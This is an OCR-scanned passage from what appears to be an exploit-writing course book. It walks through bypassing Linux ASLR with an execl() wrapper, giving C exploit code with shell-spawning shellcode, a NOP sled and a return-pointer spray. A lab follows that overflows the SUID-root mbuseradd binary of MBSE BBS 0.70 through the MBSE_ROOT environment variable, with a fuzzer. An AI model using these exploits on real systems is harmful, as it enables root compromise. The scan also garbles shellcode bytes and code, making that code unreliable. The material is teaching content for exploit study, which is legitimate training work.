of this has to do with the fact that ASLR will often generate strange results when causing exceptions.
Another reason has to do with the fact that the behavior of the segmentation fault is often related to
how and where a function is called. If you reduce the number of A’s down to 48, you should sce some
difference in the behavior of the segmentation fault and where EIP is trying to jump. Run it a few
times with 48 A’s and you should eventually sce the expected 0x41414141 inside of the EIP register.
Each time your segmentation fault is successful, use the “p $esp” command in GDB to print the
address held in the stack pointer. You should notice that it changes cach time you execute the program
due to the randomization of the stack scgment. At this point we can count out our traditional return to
buffer style attack.

The inconsistency in gaining control over the instruction pointer should be noted, as cven with a
working exploit, reliability will be inconsistent. This is likely due to the fact that the vulnerable
function is being called from main(). Feel free to reverse engineer it further to determine the exact

causc.
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What Else is Randomized?

e Function locations are randomized

Breakpoint 1, 0x080483b3 in main () | Address of system() |
(gdb) p system
$4 = {<text variable, no debug info>} |0xb7e9eef0 §system>

1st Run 2" Run

(gdb) p system
$5 = {<text variable, no debug info>} |0xb7df0efl <system>

e Ret2Libc not a likely candidate
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What Else is Randomized?

Set up a breakpoint insidc of GDB on the function main() with th¢ command, “brcak main.” Run the
program with no arguments. When cxecution pauses due to the breakpoint, type in “p system.” Record
the address and rerun the program. Type in the “p system” command again when the program pauscs.
You should notice that the location of the function system() is mapped to a different address each time
you execute the program. This would lead us to believe a simple return-to-libe attack would also
prove difficult.
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No Where to Return

e Where we are at:

— The stack is randomized with each run of the
program

- System libraries and functions are randomized
with each run

— 20-bits is used for randomization
— Brute-forcing not a good solution

— How can we defeat this? Thoughts?

e How about wrapping the program in an attempt to have some
level of control?

esting, Lxploit Writing, and Lithical Hacking

No Where to Return

At this point we know that the stack is located at a new address with every run of the program. We
know that system librarics and functions are mapped to different locations within the process space as
well. We know that 20-bits seems to be used in the randomization pool for some of the mapped
segments. It is pretty obvious that brute-forcing is not the best approach to defeating ASLR on this
system.

Try and think of some ways that might help us defeat ASLR on this Kernel? How about wrapping the
program in an attempt to have some level of control? This could work!
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Wrapping the Target Program

e The exec() family of functions
~ int execl(const char * path, const char *arg, ...);
- int execlp(const char *file, const char *aryg, ...);
— int execle(const char *path, const char *arg, ..., char * const

envel1);
- int execv(const char * path, char *const arg 1);
- int execvp(const char */ilg, char *const arg\{])

e Replaces the current process image with a
NEW process image
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Wrapping the Target Program

Just for kicks, let us try wrapping the aslr_vuln program with another C program we control and use
the execl() function to open it. According to the Linux help page for the exec() family of functions,
“The exec family of functions replaces the current process image with a new process image.” This
could potentially have an affect on ASLR, but let us first scc if we can cven cause a segmentation fault
on the next slide.

exec():

#include <unistd.h> extern char **environ;

int execl(const char *path, const char *arg, ...);
int cxcclp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg , ..., char * const envp[]);
int excev(const char *path, char *const argv[]);
int cxcevp(const char *file, char *const argv[]);

The exce family of functions replaces the current process image with a new process image, but docs
not re-randomizc.
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Sample Program — aslr-testl.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
char buffer[100];
inti, junk;
printf("i is at: %p\n”, &i);
memset(buffer, 0x41, 100);
execl(™./aslr_vuln”, “aslr_vuln”, buffer, NULL);
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Sample Program

Let us first create a simple C program that uses the execl() function to open up the vulnerable aslr_vuln
program We'll create a buffer of 100 bytes and pass in a bunch of capital A’s to sce if we can get EIP
to try and jump to 0x41414141.

#includce <stdio.h>
#include <unistd.h>

#include <string.h>

int main(int argc, char *argv[]) {
char buffer[100];
int i, junk;
printf(*i is at: %p'n”, &i);
memset(buffer, 0x41, 100);

execl(“./aslr vuln”, “aslr_vuln”, buffer, NULL);

Compile it with: gee —fno-stack-protector aslr-test1.c —o aslr-test|
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Run it in GDB

e gdb ./aslr-testl
e Run it a couple of times ...

(gdb) r

Starting program: /home/deadlist/aslr_testl

i is at: Oxbfc20348

I'm vulnerable to a stack overflow... See if you can hack me!

Program received signal SIGSEGY, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
|[0x080483e9] in main ()
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Run it in GDB

As you can see we scem to be causing a segmentation fault, but are not causing EIP to jump to the
address 0x41414141. Onc would think as long as we’re overwriting the return pointer with A’s that
execution should try to jump to 0x41414141; however, the behavior is not always predictable.
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Decreasing the Buffer Size

e No luck; Try decreasing the buffer size ...

{gdb) r

Starting program: /home/deadlist/aslr_testl

i is at: Oxbfel556¢

I'm vulnerable to a stack overflow... See if you can hack me!

Program received signal SIGSEGY, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process,

0x41414141/ in 77 ()
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Decreasing the Buffer

Decrease the size of the buffer and the number of A’s we’re passing to the vulnerable program to 48.
As you can see on the slide, cxccution tried to jump to 0x41414141. It may not happen every time, so
give it a few runs before assuming there is a problem. The code to do this is below.

#include <stdio.h>
#include <unistd.h>

#include <string.h>

int main(int argc, char *argv[]) {
char buffer[48];
int 1, junk;
printf(*i is at: %p\n”, &i);
memset(buffer, 0x41, 48);

execl(“./aslr vuln”, “aslr_vuln”, buffer, NULL);
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The Next Step

e Now that we can still control the address
where execution jumps we can:

— Write our return pointer a bunch of times to fill
the buffer

— Place a NOP sled after the buffer

o We want to jump here
— Place our shellcode after the NOP sled
— Figure out where to return
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The Next Step

Since we’ve established the fact that we can still control exccution when wrapping the vulnerable
program within a program we create, we can begin to set up our attack framework. For this we must
fill the buffer of the vulnerable program with our return pointer, so we hopcfully have it in the right
spot. Place a NOP sled after the return pointer overwrite as our landing zone. We then must place the
shellcode we want to execute after the NOP sled and figure out to what address to set the return
pointer.

207



Where do We Point the RP?

e Since we don't know where the stack will be
mapped

— We can create a variable that will be pushed onto the
stack prior to the call to execl()

— Once the process space is replaced, we have the address
of our variable to reference

— We can increase or decrease the space before or after
our offset and set as the RP if needed

— Let us look at the program and its execution in GDB
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Where do We Point the RP?

We have already figured out that we do not know where the stack segment will be mapped. What we
can do is create a variable within our wrapper program which will be pushed into memory prior to the
call to exccl(). We can usc the address of this variable as a reference point once the process is replaced
by execl(). It is not an exact scicnce as to the behavior of where in memory things may be moved to,
but generally they stay in the same relative arca. We can then create an offsct from the address of our
variable to try and cause the return pointer to land within our NOP sled. Let us take a look at our
cxploit code and also a closer look at the program inside of GDB.
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This Part Gets Tricky ...

#include <stdio.h>

#include <unistd.h> <: Necessary Libraries

#include <string.h>

char shellcode[]=

"3 10\ 31 b0\ \xBT xcatx b

"6\ ed \WBD 29 c xS 2\ 68 X 2P 2",

“\x?3\x68\xﬁB\xzf\xﬁz\xﬁ‘}\xﬁE'\xSS‘\xﬂ"\<:I Shellcode to spawn a shell |

"x 52154\ xB8\xe T xbMxDbixed \x80";

int mainfint argc, char *argvl]) |

char buffer[200];

int i, ret; . .

ret = (int) 8 + 200; <e;: " Setting our landing place
printf("i is at: %pin", &%),

printf("buffer is at: %p\n", buffer);

printf{"RP is at: %pin”, : o ]

for=0; 1 < 64; i+=)< _ ] Filling the buffer |
+{{int *){buffer+i)) * ret; !

memset(buffer+64, 0x90, 64);

memcpy(buffer+128, shellcode, sizeof{shellcode));

execl("./aslr_vuin", "aslr_vuln", buffer, NULL);

}
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This Part Gets Tricky ...

Take a look at the comments added into the code below to see what’s going on:

#include <stdio.h>
#include <unistd.h> //Necessary librarics for the various functions ...
#include <string.h>

char shellcode[]=

"\x3 1'xc0'x3 1'xdb\x29'\xc9\x89\xca\xb0™

"\x46\xcd\x80'x29\xc0\x52\x68\x2fAx2f"\  // Our shell-spawning shellcode

"x73\x68'x68'x2f\x62'x69\x6e'x89\xe3"\

"x52\x54'x89'\x ¢ 1'xb0'\x0b\xcd\x80";

int main(int argc, char *argv[]) {

char buffer[200]; // Our buffer of 200 bytes

int i, ret; // Our variable to reference based on its mem address and our RP variable

ret = (int) &i + 200; // The offset from the address of i we want to set our RP to ...

printf("i is at: %p\n", &i);

printf("'buffer is at: %p'\n", buffer); // Some information to help us see what’s going on ...

printf("RP is at: %p\n", ret);

for(i=0; i < 64; 1+=4) // A loop to write our RP guess 16 times ...
*((int *)(bufferti)) = ret;
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memset(buffert64, 0x90, 64); // Setting memory at the end of our 16 RP writes to 0x90 * 64, our
NOP sled ...

memcpy(buffer+128, shellcode, sizeof(shellcode)); // Copying our RP guess, NOP sled and
shellcode

"on

execl("./aslr_vuln", "aslr_vuln", buffer, NULL); // Our call to exccl() to open up our vulnerable
program ...

!
!
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Inside of GDB

» Let us break on the execl() call
— Our data should be copied by then

(gdb) x/16x sesp +24

Oxbfc25218: {0xbfc253bc Oxbfc253bc Oxbfc253bc Oxbfc253bc
Oxbfc25308: | 0xbfc253bc Oxbfc253bc Oxbfc253bc Oxbfc253bc
Oxbfc25318: | Oxbfc253be 0Oxbfc253hc Oxbfc253bc Oxbfc253bc
Oxbfc25328: | Oxhfc253hc! ©x90909090 Q{Togesos_a 0x90909690
(gdb) 'S .
RS [— oxt Return Pointer 59,
Oxb fc25348: e@egego 0x90909090 0x90909090 0x90909090
Oxbfc25358: [¢] 690%0 0x90909090 0x90909090 0x90909090
Oxbfc25368: Oxdb31cO31 OxcaB9c929 0x808cd46b0 0x6852c029

— Return Pointer points far into our shellcode. This isn't
gomg to work ... Also, GDB cannot trace due to execve()
eing called by execl(). Loses process
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Inside of GDB

Oops! Looks like we set our offset too high. As you can sce on the slide, we have set our return pointer
gucss to an address that’s far into our shellcode. We want it to land inside the NOP sled. Again, this is
not an exact science and results may vary on the program you are analyzing. With ASLR enabled and
using execl() to open up the vulnerable program, you may cxpericnce inconsistent results. The one
we’re attacking is actually quite stable and you should have success using this method.

Unfortunately, when excecl() is used to open another program, GDB loses control. This is due to the
fact that cxccl() calls execve() and spawns a new PID in which ptrace() cannot trace, even when
attaching as root. If the fork() function was uscd, this would not be an issuc, but fork() docs not have
the same vulnerability with not re-randomizing the process once spawned.
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Let Us Try Again ...

e The offset has been changed to:
— “ret = (int) & + 60;"

(gdb) x/20x $esp +16

Gxbfbf7100: 0x00000000 0x00000034 Oxbfbf7140 Bxbfhf7140
Oxbfbf7110: Oxbfbf7140 Oxbfbf7140 Oxbfbf7140 Oxbfbf7140
OxbfbT7120: 0xbThf7140 Oxbfbf7140 Oxbfh 7140 Oxbfhf7140
Oxbfbf7130: Oxbfbf7140 Oxbfbf7140 Oxbfbf7140 6x90909090
Oxbfbt7140¢ 0x90909090 0x90909090 0x90909090 0x90909090

— Now our RP points to the NOP sled!!!
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Let Us Try Again ...

Let us try again, changing our offsct from 200 to 60. As you can see on the slide, our return pointer
gucss points within our NOP sled! Let us give ita whirl ...

#include <stdio.h>
#include <unistd.h> //Nccessary libraries for the various functions ...
#include <string.h>

char shellcode[]=

"x3 I'xc0\x3 1'xdb\x29\xc9\x89'\xca\xb0"\
"x46\xcd\x80'x29\xc0\x52\x68\x2f\x2f™\  // Our shell-spawning shellcode
"x73x68'x68\x2\x62'x69\x6¢\x89xe3™

"x52'x54'x89\x¢ 1\xb0\x0b'xcd\x80";

int main(int argc, char *argv[]) {
char buffer[200]; // Our buffer of 200 bytes
int i, ret; // Our variable to reference based on its mem address and our RP variable
ret = (int) &i + 60; // The offset from the address of i we want to set our RP to ... modified version that
should work!
printf("i is at: %p'n", &i);
printf("buffer is at: %p\n", buffer); // Some information to help us see what’s going on ...
printf("RP is at: %p\n", rct);
for(i=0; 1 < 64; 1+=4) // A loop to write our RP guess 16 times ...
*((int *)(bufferti)) = ret;
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memsct(buffer+64, 0x90, 64); // Setting memory at the end of our 16 RP writes to 0x90 * 64, our
NOP sled ...

memcpy(buffert+128, shellcode, sizeof(shellcode)); // Copying our RP guess, NOP sled and
shellcode

execl("/aslr_vuln", "aslr_vuln", buffer, NULL); // Our call to exccl() to open up our vulnerable
program ...

;
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Giving it a Spin

e Got it!!!

deadlist@deadlist-desktop:~%$ ./aslr-1

i is at: Oxbfc37b34

buffer is at: Oxbfc37b38

RP is at: Oxbfc37b70

I'm vulnerable to a stack overflow... See if you can hack me!

Segmentation fault

deadlist@deadlist-desktop:-$ ./aslr-1

i is at: Oxbfe3e534

buffer is at: Oxbfe3e538

RP is at: Oxbfe3e570

I'm vulnerable to a stack overflow... See if you can hack me!

i | Game Over
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Giving it a Spin

Success! Giving it a few tries results in our shellcode execution. With more cffort, it is likely possible
to increase the success rate of running this exploit by modifying the offset. Remember, the proccss is
being replaced through cxecl() and even when sctting the return pointer guess to an address that
doesn’t dircctly fall within the NOP sled, success may occur. The reason that it still may be
successful, cven when pointing to an area that holds your return pointer guess, is that the return
pointer value will be executed as if it were opcodes. If they are benign opcodes, exccution should still
be successful. Since ASLR is running, the addresses will always be changing. Sometimes these
addresses will be valid opcodes that do not affect the operation of the program, while others may
cause a fault. A quick WHILE loop can be used to test and sce if your exploit will be successful:

while true; do Jaslr-1; sleep 1; done;

Props to the FHM Crew for posting a version of this method on
http://dl.packetstormsccurity.net/papers/bypass/aslr-bypass.txt...
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Module Summary

Stack-based attacks on Linux

Returning to Code

Returning to C Library

Bypassing Stack Protection

o WAX

Address Space Layout Randomization (ASLR)

[ ]
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Module Summary

We’ve taken a look at several ways to exploit the stack, such as redirccting execution to bypass
authentication, returning to shellcode placed into the buffer, returning to functions within the C library,
and defeating terminator canaries. Other controls such as random canaries, W*X, and ASLR may also
be defeated depending on multiple factors we discussed. The difficulty of exploiting the stack is
always increasing duc to the controls put into place by talented security professionals; however, there
are exceptions and ways around controls under the right conditions.
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Review Questions

1) If the stack is marked as non-executable, what
type of attack would you attempt?

2) What type of canary utilizes the HP-UX urandom
Strong Number Generator?

3) True or False? — PaX’s ASLR implementation can
randomize all 32-bits of a functions location in a
processes memory space.

4) Stack Smashing Protection (SSP) is based on
what well known stack protection tool?
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Review Questions
1) If'the stack is marked as non-exccutable, what type of attack would you attempt?
2) What type of canary utilizes the HP-UX urandom Strong Number Generator?

3) True or False? — PaX’s ASLR implementation can randomize all 32-bits of a functions location in
a processes memory space.

4) Stack Smashing Protection (SSP) is based on what well known stack protection tool?
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Answers

1) return-to-libc

2) Random Canaries
3) False

4) ProPolice
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Answers

1)

2)

3)

4)

rceturn-to-libc — This style of attack is commonly used to circumvent small buffers or non-
exccutable memory scgments.

Random Canaries — Random Canaries use the HP-UX urandom number generator when available
and configured to do so.

Falsc — In order to maintain control of segments in memory, not all bits in 32-bit memory
addressing can be randomized. For example, we must be able to keep scctions such as the heap,
stack and code segment scparate and at consistent base locations.

ProPolice — Stack Smashing Protection (SSP) is based on ProPolice.
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Recommended Reading

- Smashing the Stack for Fun and Profit by Aleph One
http://www.phrack.org/issues.html?id=14&issue=49

- Smashing the Modern Stack for Fun and Profit, Craig Heffner
http://www.ethicalhacker.net/content/view/122/2/

- Bypassing non-executable-stack during exploitation using return-to-libc
by cOntex http://css.csail.mit.edu/6.858/2012/readings/return-to-libc.

- Smack the Stack by Izik
http://sts.synflood.de/dump/doc/smackthestack.txt

- ASLR Bypass Method on 2.6.17/20 Linux Kernel by FHM Crew
http://dl.packetstormsecurity.net/papers/bypass/aslr-bypass.txt
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Recommended Reading

Smashing the Stack for Fun and Profit by Aleph One
http://www.phrack.org/issues.html?id=14&issuc=49

Smashing thc Modern Stack for Fun and Profit by Unknown
http://www.cthicalhacker.net/content/view/122/2/

Bypassing non-executable-stack during exploitation using return-to-libe by cOntex
http://css.csail.mit.cdu/6.858/2012/rcadings/return-to-libe.pdf

Smack the Stack by Izik
http://sts.synflood.de/dump/doc/smackthestack.txt

ASLR bypassing mecthod on 2.6.17/20 Linux Kernel, No-exccutable stack space bypassing method on
Linux by FHM Crew

http://dl.packetstormsecurity.net/papers/bypass/aslr-bypass.txt
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Day 4 Bootcamp

e Exercise One

— mbsebbs version 0.70
¢ BBS System for Linux
¢ Available at http://www.mbse.eu
e Lead author: P.E. Kimble
e Vulnerable to a Buffer Overflow
o The tarball is located in /home/deadlist/mbse
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Day 4 Bootcamp

Exercise One

In this section we will work through a stack-based overflow on Linux. Our target is the publicly
rcleased application, MBSE BBS. It is a Bulletin Board System (BBS) for UNIX. Version 0.70 is
vulnerable to a stack-based buffer overflow in one of its binaries. Over the next couple of pages, we
will get you set up to start scarching for the vulnerability. The pages following that will provide you
with a step-by-step solution to locating and exploiting the vulnerability. Only proceed to the walk-
thorough after you have exhausted all possibilities. If you get stuck, take the walk-through up to the
point at which you are stuck and then go back to working on the exploit without the help from the
course book.
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Installation (1)

¢ Installation has been done for you!
e We must first properly install the program

e It is located in /home/deadlist/mbse as
shown below:

deadlist@deadlist -desktop:~$ pwd
/home/deadlist

deadlist@deadlist -desktop:~$ cd mbse
deadlist@deadlist -desktop:~/mbse$ 1s

70.6.tar.bzz

o, Lixploit Writing, and lthical Hacking

Installation (1)

Note: Installation has been done for you. Please do not run the installation unless you want to start
from scratch, or arc installing this program on a different system. Compilation and successful
installation can be tricky, so it is adviscd to usc the installed version on your Kubuntu Gutsy VM. Skip
to the slide titled, “Our Target.”

We must first install the MBSE BBS program onto our system so we can start testing it for
vulnerabilities. Verify that the file mbsebbs-0.70.0.tar.bz2 cxists in your /home/deadlist/mbse folder.
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Installation (2)

e bunzip2 mbsebbs-0.70.0.tar.bz2
e tar —xvf mbsebbs-0.70.0.tar
e cd mbsebbs-0.70.0/

deadlist@deadlist -desktop:~/mbse$ bunzip2 mbsebbs-0.70.08.tar.bz2
deadlist@deadl ist -desktop:~/mbse$ tar -xvf mbsebbs-0.70.0.tar
mbsebbs-0.70.08/AUTHORS

mbsebbs-0.76.08/Changelog

mbsebbs-0.70.0/COPYING

deadl ist@deadlist -desktop:~/mbse$ 1s
mbsebbs-0.70.60 mbsebbs-0.70.0.tar

deadl ist@deéd‘L ist-desktop: -/mbsé$ cd mbsebbs-0.70.0/

Installation (2)
Next, simply run the following commands to unzip and extract the contents of the program:

bunzip2 mbsebbs-0.70.0.tar.bz2

tar —xvf mbsebbs-0.70.0.tar
cd mbsebbs-0.70.0/
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Installation (3)

e Promote yourself to Root

deadlist@deadlist-desktop:~/mbse/mbsebbs-0.70,08% sudo -i
root@deadlist-desktop:~# bash /home/deadlist/mbse/mbsebbs-0,70.0/SETUP.sh

e Run the SETUP.sh script

[MBSE BBS for Unix, first time setup, Checking your system..,

If anything goes wrong with this script, look at the output of
the file SETUP.log that is created by this script in this
directory. If you can't get this script to run on your systenm,
{mail this logfile to Michiel Broek at 2:280/2802 or email it
to mbroekfimbse.dds.nl

Press ENTER to start the basic checks |J

Installation (3)

We must now run the SETUP.sh script as Root. Use sudo —i to promote yourself to Root. After
successfully authenticating, run the command:

bash /home/deadlist/mbse/mbsebbs-0.10.0/SETUP.sh

You should receive the prompt in the bottom image. Accept all defaults. You will be prompted to enter
in a password for the user account “mbsc.” Select a password that you will remember. Once the
SETUP.sh script is complete you will be back at a Root prompt. Exit from the Root prompt, back to
your deadlist account.
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Installation (4)

e Type in ./configure

deadlist@deadlist -desktop:~/mbse/mbsebbs-0.70.0% ./configure

checking for gmake... no
checking for make... make I ]
eo0 ¢ | Truncated for space
Main directory L S i /opt/mbse
Owner and group - mbse .bbs

Now type ‘make' and as root 'make install'’

deadlist@deadlist -desktop:~/mbse/mbsebbs-0.70.0%

e Do not make the file yet!

d Pencrration Testng, Fxploit Writng, and Lthical Hacking

Installation (4)

Next, we need to run /configure from the ~/home/deadlist/mbsc/mbscbbs-0.70.0 folder. Note that the
output from ./configure is truncated in the middle for space. Once it is complete, you should receive
the message on the bottom telling you to make the program and as root, followed by “make install.”
Do not “make” the program yet. Proceed to the next slide.
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Installation (5)

e Using the text editor of your choice, open
the file Makefile.global

e | ocate the line starting with CFLAGS

CFLAGS =I-{'I_s -fno-strict-aliasing -Wall -Wshadow -Wwrite-strings -Wstrict
-prototypes -D_REENTRANT
LIBS = -lerypt -lutil -1pthread

e Add in “—fno-stack-protector” like this:

CFLAGS = |-fno-stack-protector| -03 -fno-strict-aliasing
rite-strings -Wstrict-prototypes -D_REENTRANT
LIBS = -lerypt -lutil -1ptfread
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Installation (5)

This piece is important, as we want to compile the program without the use of stack canaries for our
exploitation purposcs. We will approach another program in which stack canarics and ASLR are used
in a separate lab. Also, make sure that you have turned ASLR off by running “ccho 0
/proc/sys/kernel/randomize_va space” as Root. After running ./configurc from the previous slide, a
file called Makefile.global should exist within your ~/home/deadlist/mbse/mbsebbs-0.70.0 folder.
Open up this file with an editor such as vi.

1) vi Makefile.global

2) Next, scroll down with your dircctional arrows until you find the line that starts with CFLAGS, as
seen in the top image on the slide.

LY

3) Navigate with your arrows to just after the sign, press i for insert if using vi, and enter in “—
fno-stack-protector” without the quotcs, as scen in the second image on the siide.

4) If using vi, press Esc once, followed by a colon, and type in wq to writc and quite.

Procced to the next slide.
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Installation (6)

e Open the file “Makefile” with an editor

all depend:
gif [ -2 ${MBSE_ROOT} } ; then
[ o 2cho " MBSE ROOT is not set!"; eche; exit 3; \
alge
.ful‘ 4 4in JBDIREY - e sect ddad L0 &IMAKEY 4@) ] exit; do
he; \ : Remove this -z |

e Save the file

e Type in "make” from your standard user
prompt
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Installation (6)

Opcen up the file Maketile with an editor of your choice. Locate the code shown in the image. It is ncar
the very top of the Makefile. Remove the “-z” in the line: @if [ -z $ {MBSE_ROOT} ].” Save the filc.
Next, from your normal user-level shell, type in “make” to compile the program.
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Installation (7)

¢ Edit the file “checkbasic”

|[deadlist@deadlist-desktop:~/mbse/mbsebbs-0.76.0% vi checkbasic|
“ i " L W "
e Change “exit 1” to “exit 0

if [ "$LOGNAME" = "mbse" ]; then
#
# Looks good, normal mbse user and environment is set.
# Exit with errorcode 0
echo "Hm, looks good...”
exit 0

else Change this from 1 to 0
echo "+++ are not logged in as user 'mbse' *+*"
exit [

. { .'I.;i.-' il Hac |~.I-"|__I

Installation (7)

Due to some buggy issues in the Make File, we have to make one more edit before making and
installing. Edit the file “checkbasic.” Where indicated on the slide, change the “cxit 17 to “exit 0™, This
allows us to get past an annoying little check that prevents us from successfully installing the program.
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Installation (8)

e Promote yourself to Root and run “make
install”

deadlist@deadlist-desktop:~/mbse/mbsebbs-0.768.0% sudo -1

root@deadlist-desktop:~# cd /home/deadlist/mbse/mbsebbs-0.70.6

root@deadlist-desktop: /home/deadlist/mbse/mbsebbs-0.70.0# export MBSE_ROOT="/opt/mbse"
root@deadlist-desktop: /home/deadlist/mbse/mbsebbs-0.70,0# make installl

e Installation is complete

Debian install ready.
Please note, your MBSE BBS startup file is "/fetc/init.d/mbsebbs"

make[1]: Leaving directory " /home/deadlist/mbse/mbsebbs-0,70.0/script’
root@deadlist-desktop: /home/deadlist /mbse /mbsebbs-0.70.0# exit
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Installation (8)

We are now ready to install the program. Promote yourself to Root again. Change dircctorics to
/home/deadlist/mbsc/mbsebbs-0.70.0

Next, we need to create an environment variable. Type in:

expori MBSE ROOT="/opt/mbse”

make install

Installation should run successfully, leaving you with the message on the bottom image. If installation
was unsuccessful at any point. Run rm —rf on your /home/deadlist/mbse folder, delete user “mbse” and
start over from the beginning of the installation.
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Our Target

e Run “su mbse” and enter your password
¢ Navigate to /opt/mbse/bin

deadlist@deadlist-desktop:~/mbse/mbsebbs-0.70.0% su mbse

Password:

mbsefdeadlist-desktop: /home fdeadlist /mbse/mbsebbs-6.70.8% ¢d Jopt/mbse/bin
mbsefideadlist-desktop:~/bing 1s

bbsdoor.sh  mbcharsete mbfile mbmail mbnewusr wmbsebbs mbstat mbuseradd
hatch mbc ico mbindex mbmon  mbnntp mbsedos mbtask rundoor.sh
mbaf f mbdiff mblang mbmsg  mbout mbseq mbtoberep runvirtual.sh
[mball mbfido mblogin mbnews mbpasswd mbsetup mbuser

mbse@deadlist-desktop:~/bing . /mbuseradd

mbuseradd commandline:

Imbuseradd [gid] [name] [comment] [usersdir]
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Our Target

We arc now rcady to start hunting for a vulnerability. First, you need to switch to the user “mbse.”
You can do this by simply typing su mbse. Enter in the correct password and navigate to the
/opt/mbse/bin directory. The password should be deadlist? If that isn’t working for you, try running
sudo —i to get to root and the su over as mbsc. Run the Is command. 1f you would like a better view of
this dircctory, you can logout and login as the user mbse. There are several binarics in this directory.

To save time, we arc going to focus in on the binary containing a vulncrability. The program
mbuseradd is vulncrable to a buffer overflow. Run the program by typing ./mbuscradd. You can see
that the usage statement says that it wants four command-line arguments:

mbuscradd [gid] [name] [comment] [usersdir]
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Attacking Our Target

e /s —la mbuseradd

bse@@deadlist-desktop:~/bin$ ls -la mbuseradd
-rws--s--x 1 root root 9156 2010-66-63 11:20 mbuseradd

 SUID iis set! |
o Try to crash the program

mbse@deadlist-desktop:~/bins . /mbuseradd python -¢ ‘print "A" *198' ARGZ ARG3 ARG4
mbuseradd: Argument 1 is too long
mbse@deadlist-desktop:~/bing . /mbuseradd ARGl "python -c 'print "A" *1080'" ARG3 ARG4
mbuseradd: Argument 2 is too long
mbsefideadlist-desktop:~/bing . /mbuseradd ARGL ARG2 "python -¢ 'print "A" *160'  ARG4
mbuseradd: Argument 3 is too long
mbse@deadlist-desktop:~/bing . /mbuseradd ARGl ARG2Z ARG3 python -c 'print “A" +l00'’
mbuseradd: Argument 4 is too long
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Attacking Our Target

When running ““ls —la mbuscradd” you will notice that the program is running with SUID as Root. This
mcans that if we can cxploit the program, our payload will execute as Root. We know that there are
four command-line arguments to target. Arc there any other targets? See if you can discover any other
targets, or if you can causc the program to have a segmentation fault.

We get no good results when running:

mbse@deadlist-desktop:~/bin8 ./mbuseradd "python -c ‘print "A" *100"” ARG2 ARG3 ARG4
mbuseradd: Argument 1 is too long
mbse@deadlist-desktop:~/bin$ ./mbuseradd ARG 1 "python -¢ ‘print "A" *100" ARG3 ARG4
mbuseradd: Argument 2 is too long
mbse@deadlist-desktop:~/bin$ ./mbuseradd ARG1 ARG2 ‘python -¢ 'print "A" *100" ARG4
mbuseradd: Argument 3 is too long
mbse@deadlist-desktop:~/bin$ ./mbuseradd ARG1 ARG2 ARG3 “python -c¢ 'print "A" *100"

mbuseradd: Argument 4 is too long

Can you think of other things to try? Now is the time when you should experiment with other methods
to causc the program to crash. Morc importantly, are there any other targets in the program that we are
not considering? Move ahcad if you want to continue with the walk-through.
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Additional Arguments

e Check for environment variables
— Remember MBSE_ROOT?

E cd /home/deadlist/mbse/mbsebbs-0.70.0/unix/

deadlist/mbse/mbsebbs-0,70.0/unix$ cat mbuseradd.c |grep getenv
bsebbs", getenv("MBSE R00T"));

— MBSE_ROOT is also a target!
— Try changing it to various lengths

mbse@deadlist-desktop:~/bin$ export MBSE_ROOT= python -c 'print "A" +*1000'
mbse@deadlist-desktop:~/bin$ ./mbuseradd ARG1 ARG2 ARG3 ARG4
useradd: invalid home directory 'ARG4/ARG2'

Additional Arguments

It is a good idea to check the source code, if available, for any environment variables that are used as
part of input to the program. Remember the MBSE_ROOT environment variable we created during
installation? Note that the top image was truncated on the left to make room on the slide. Navigate to:

cd thomeldeadlist/mbse/mbsebbs-0.70.0/unix

Next type in:

cat mbuseradd.c |grep getenv

Do you sce the reference to MBSE_ROOT?

Go back to /opt/mbse/bin and try playing with the size of the MBSE ROOT environment variable.

export MBSE ROOT="python —c ‘print A" *1000""

See if you can cause the program to crash and move forward on your own. If you would like to
continuc the walk-through, continue to the next slide.
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Segmentation Fault

e 5,000 A's causes a seg-fault!

mbse@deadlist-daskiop:~/hing export MBSE BOOI= python -¢ 'print "A" +5600
mbse@deadlist-desktop:~/bin$ ./mbuseradd ARGL ARG2 ARG3 ARG4
Segmentation fault

e The vulnerable code

temp = calloc (PATH_MAX, sizeof(char));
C:i}shell = calloc (PATH_MAX, sizeof(char)); {:Il
homedir = calloc (PATH MAX, sizeof(char));

e “shell” has no bounds checking

sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE RO0T"));
sprintf(homedir, "%s/%s", argv[4], argv[2]);

e MBSE_ROOT placed at %s/bin/mbsebbs
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Segmentation Fault

When changing the size of MBSE _ROOT to 5,000 A’s, a scgmentation fault occurs. Let us take a look
inside of the mbscuseradd.c filc to locate the vulnerable code:

temp = calloc(PATH MAX, sizeof{char));
shell = calloc(PATH MAX, sizeof{char)); € Here's the problem...
homedir = calloc(PATH _MAX, sizeof{char));

The variable “shell” has no bounds checking applied and is used to prepend *“/bin/mbsebbs™ below:

sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE ROOT")); € This line...
sprintfthomedir, "%s/%s", argv[4], argvf2]);

The author has put in bounds checking to the four command-line arguments, but left out the environment
variable:

/’k
* First simple check for argument overflow
i 4
Jor(i=1;i<5; i++){
if (strlen(argv[i]) = 80) {
Jprintf(stderr, "mbuseradd: Argument %d is too long\n", i);
exit(1);
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How Many Bytes to Crash?

e We know that 5,000 A’s causes a seg-fault
e How do we determine the exact number of
A’s?
— We could split the difference
— We could write a small fuzzer
— We could debug
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How Many Bytes to Crash?

Now that we know there is a buffer overflow condition in the way the program uses the
MBSE_ROOT environment variable, we need to get more information. Specifically, we would first
want to know how many bytes it takes to crash the program. We could do this one of several ways.
If the MBSE_ROOT variable was allocated a specific buffer size, we could check the source.
However, as we saw in the source code, the variable “shell” relies on the size of MBSE_ROOT. We
could simply fudge the input sizc and split the difference each time until the program crashes, we
could writc a small fuzzer. try and usc a core dump, use tools such as strace, or we could try and
reverse the program code in a debugger. The program has been stripped, so let us sce if a small
fuzzer will help us out. Feel free to try any of the other options.
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Simple Fuzzer
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Simple Fuzzer

Below is a simple fuzzer that opens up “mbuseradd” and sets the MBSE ROOT environment variable to
4,000 A’s, up to 5,000 A’s. You can change these values to whatever you'd like.

import os, time

e Here’s a simple Python fuzzer

import os, time
program ‘Jopt/mbse/bin/mbuseradd ARGl ARGZ ARG3 ARGAMWN™
string = "A"

var = "Segmentation fault”

for 1 in range (4000.5000,4);

os.putenv("MBSE ROOT", stringi}

a.b=os.popendiprogram, 'r'}

strl = b.read{},

if var in strl:
primt "Success! Segmentation Fault hit
at",i, string, " 's'\n"

" exit(}

else
time.sleep (0)

